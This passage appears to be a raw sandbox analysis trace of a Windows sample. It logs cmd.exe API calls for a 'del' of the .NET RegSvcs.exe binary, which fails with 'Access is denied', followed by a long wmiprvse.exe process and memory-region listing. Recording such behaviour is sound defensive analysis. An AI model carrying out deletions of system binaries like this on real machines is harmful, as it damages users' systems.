2 [0085.416] _wcsicmp (_String1="IF", _String2="del") returned 5 [0085.416] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0085.416] _wcsicmp (_String1="REM", _String2="del") returned 14 [0085.416] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0085.418] GetConsoleTitleW (in: lpConsoleTitle=0x2af368, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\SysWOW64\\cmd.exe") returned 0x1b [0085.419] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0085.419] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0085.419] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0085.422] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x2af120 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0085.422] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x2ae1b0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0085.422] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x2ae3e0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x2ae3e4, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x2ae3e0*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0085.423] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0085.423] _wcsicmp (_String1="RegSvcs.exe", _String2=".") returned 68 [0085.423] _wcsicmp (_String1="RegSvcs.exe", _String2="..") returned 68 [0085.423] GetFileAttributesW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe")) returned 0x20 [0085.423] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x5c33d8 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0085.423] SetErrorMode (uMode=0x0) returned 0x1 [0085.423] SetErrorMode (uMode=0x1) returned 0x0 [0085.423] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", nBufferLength=0x104, lpBuffer=0x2ae804, lpFilePart=0x2ae7ec | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", lpFilePart=0x2ae7ec*="RegSvcs.exe") returned 0x39 [0085.423] SetErrorMode (uMode=0x1) returned 0x1 [0085.423] GetFileAttributesW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319")) returned 0x10 [0085.424] _wcsicmp (_String1="RegSvcs.exe", _String2=".") returned 68 [0085.424] _wcsicmp (_String1="RegSvcs.exe", _String2="..") returned 68 [0085.424] GetFileAttributesW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe")) returned 0x20 [0085.424] FindFirstFileExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", fInfoLevelId=0x0, lpFindFileData=0x5c40c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5c40c4) returned 0x5b0d90 [0085.424] DeleteFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe")) returned 0 [0085.425] DeleteFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe")) returned 0 [0085.425] GetLastError () returned 0x5 [0085.425] _vsnwprintf (in: _Buffer=0x4ad04640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x2ae6f0 | out: _Buffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe\r\n") returned 59 [0085.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.440] GetFileType (hFile=0x7) returned 0x2 [0085.440] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0085.440] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2ae6b0 | out: lpMode=0x2ae6b0) returned 1 [0085.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.440] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ad04640*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x2ae6dc, lpReserved=0x0 | out: lpBuffer=0x4ad04640*, lpNumberOfCharsWritten=0x2ae6dc*=0x3b) returned 1 [0085.441] _get_osfhandle (_FileHandle=2) returned 0xb [0085.441] GetFileType (hFile=0xb) returned 0x2 [0085.441] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0085.441] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x2ae664 | out: lpMode=0x2ae664) returned 1 [0085.441] _get_osfhandle (_FileHandle=2) returned 0xb [0085.441] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x2ae698 | out: lpConsoleScreenBufferInfo=0x2ae698) returned 1 [0085.441] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x4ad04640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0085.451] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x4ad04640, nSize=0x2000, Arguments=0x2ae6d8 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0085.451] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4ad04640*, nNumberOfCharsToWrite=0x13, lpNumberOfCharsWritten=0x2ae6bc, lpReserved=0x0 | out: lpBuffer=0x4ad04640*, lpNumberOfCharsWritten=0x2ae6bc*=0x13) returned 1 [0085.452] FindNextFileW (in: hFindFile=0x5b0d90, lpFindFileData=0x5c40c4 | out: lpFindFileData=0x5c40c4) returned 0 [0085.452] GetLastError () returned 0x12 [0085.452] FindClose (in: hFindFile=0x5b0d90 | out: hFindFile=0x5b0d90) returned 1 [0085.453] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.453] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0085.453] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.453] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acf41ac | out: lpMode=0x4acf41ac) returned 1 [0085.453] _get_osfhandle (_FileHandle=0) returned 0x3 [0085.453] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acf41b0 | out: lpMode=0x4acf41b0) returned 1 [0085.453] SetConsoleInputExeNameW () returned 0x1 [0085.453] GetConsoleOutputCP () returned 0x1b5 [0085.453] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acf4260 | out: lpCPInfo=0x4acf4260) returned 1 [0085.453] SetThreadUILanguage (LangId=0x0) returned 0x409 [0085.454] exit (_Code=0) Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x6839e000" os_pid = "0x918" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x368" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0006b0d2" [0xc000000f] Region: id = 2398 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2399 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2400 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2401 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2402 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2403 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2404 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2405 start_va = 0x150000 end_va = 0x156fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 2406 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 2407 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2408 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2409 start_va = 0x190000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2410 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2411 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 2412 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2413 start_va = 0x3b0000 end_va = 0x537fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 2414 start_va = 0x540000 end_va = 0x6c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2415 start_va = 0x6d0000 end_va = 0x78ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 2416 start_va = 0x790000 end_va = 0x88ffff entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 2417 start_va = 0x8d0000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 2418 start_va = 0x960000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 2419 start_va = 0x9e0000 end_va = 0xcaefff entry_point = 0x9e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2420 start_va = 0xcb0000 end_va = 0x10a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 2421 start_va = 0x1150000 end_va = 0x11cffff entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 2422 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2423 start_va = 0x1330000 end_va = 0x13affff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 2424 start_va = 0x13f0000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 2425 start_va = 0x1480000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 2426 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2427 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2428 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2429 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2430 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2431 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2432 start_va = 0xff3f0000 end_va = 0xff44efff entry_point = 0xff3f0000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2433 start_va = 0x7fef5630000 end_va = 0x7fef5645fff entry_point = 0x7fef5630000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2434 start_va = 0x7fef5e10000 end_va = 0x7fef5e95fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2435 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2436 start_va = 0x7fefb610000 end_va = 0x7fefb6f1fff entry_point = 0x7fefb610000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2437 start_va = 0x7fefb780000 end_va = 0x7fefb793fff entry_point = 0x7fefb780000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2438 start_va = 0x7fefb810000 end_va = 0x7fefb836fff entry_point = 0x7fefb810000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2439 start_va = 0x7fefb8a0000 end_va = 0x7fefb8aefff entry_point = 0x7fefb8a0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2440 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2441 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2442 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2443 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2444 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2445 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2446 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2447 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2448 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2449 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2450 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2451 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2452 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2453 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2454 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2455 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2456 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2457 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2458 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2459 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2460 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2461 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2462 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2463 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2464 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2465 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2466 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2467 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2468 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2469 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2470 start_va = 0x7fef5790000 end_va = 0x7fef57b5fff entry_point = 0x7fef5790000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2471 start_va = 0x7fee1da0000 end_va = 0x7fee1f99fff entry_point = 0x7fee1da0000 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 2472 start_va = 0x7fee2fe0000 end_va = 0x7fee302bfff entry_point = 0x7fee2fe0000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 2473 start_va = 0x7fefb880000 end_va = 0x7fefb890fff entry_point = 0x7fefb880000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2474 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2475 start_va = 0x7fef79b0000 end_va = 0x7fef79b7fff entry_point = 0x7fef79b0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 2476 start_va = 0x75280000 end_va = 0x75282fff entry_point = 0x75280000 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 2477 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2478 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2479 start_va = 0x890000 end_va = 0x892fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 2480 start_va = 0x8a0000 end_va = 0x8a4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 2481 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 2482 start_va = 0x1670000 end_va = 0x176ffff entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 2483 start_va = 0x17a0000 end_va = 0x181ffff entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 2484 start_va = 0x7fefb720000 end_va = 0x7fefb734fff entry_point = 0x7fefb720000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2485 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2486 start_va = 0x7fefb750000 end_va = 0x7fefb765fff entry_point = 0x7fefb750000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2487 start_va = 0x7fefcbb0000 end_va = 0x7fefcc06fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2488 start_va = 0x7fefd320000 end_va = 0x7fefd342fff entry_point = 0x7fefd320000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2489 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2490 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2491 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2492 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2493 start_va = 0x7fefb700000 end_va = 0x7fefb713fff entry_point = 0x7fefb700000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2494 start_va = 0x7fefcc10000 end_va = 0x7fefcc3ffff entry_point = 0x7fefcc10000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2495 start_va = 0x7fef2e70000 end_va = 0x7fef2e81fff entry_point = 0x7fef2e70000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 2496 start_va = 0x7fef79a0000 end_va = 0x7fef79a9fff entry_point = 0x7fef79a0000 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 2497 start_va = 0x7fefb0e0000 end_va = 0x7fefb0ebfff entry_point = 0x7fefb0e0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2498 start_va = 0x1820000 end_va = 0x1b62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001820000" filename = "" Region: id = 2499 start_va = 0x7fef2e40000 end_va = 0x7fef2e6bfff entry_point = 0x7fef2e40000 region_type = mapped_file name = "wmipcima.dll" filename = "\\Windows\\System32\\wbem\\wmipcima.dll" (normalized: "c:\\windows\\system32\\wbem\\wmipcima.dll") Region: id = 2500 start_va = 0x7fef8e70000 end_va = 0x7fef8e7efff entry_point = 0x7fef8e70000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2501 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2502 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2503 start_va = 0x8b0000 end_va = 0x8b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 2504 start_va = 0x752f0000 end_va = 0x752f2fff entry_point = 0x752f0000 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 2505 start_va = 0x7fefd4d0000 end_va = 0x7fefd50cfff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: 